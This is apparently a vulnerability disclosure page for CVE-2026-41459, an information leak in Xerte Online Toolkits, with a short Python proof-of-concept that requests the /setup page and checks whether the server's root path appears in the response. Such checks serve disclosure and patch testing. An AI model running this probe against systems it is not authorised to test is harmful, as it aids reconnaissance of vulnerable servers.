CVE-2026-41459 Xerte Online Toolkits信息泄露漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-41459 Checks if the /setup page exposes the root_path. """ try: # Append the vulnerable endpoint vuln_url = f"{target_url.rstrip('/')}/setup" response = requests.get(vuln_url, timeout=10) if response.status_code == 200: # Check if 'root_path' is present in the HTML response if 'root_path' in response.text: print(f"[+] Vulnerability confirmed at: {vuln_url}") print("[+] The server root path has been exposed in the response.") return True else: print("[-] Vulnerability not detected.") return False else: print(f"[-] HTTP Status Code: {response.status_code}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://example.com" check_vulnerability(target)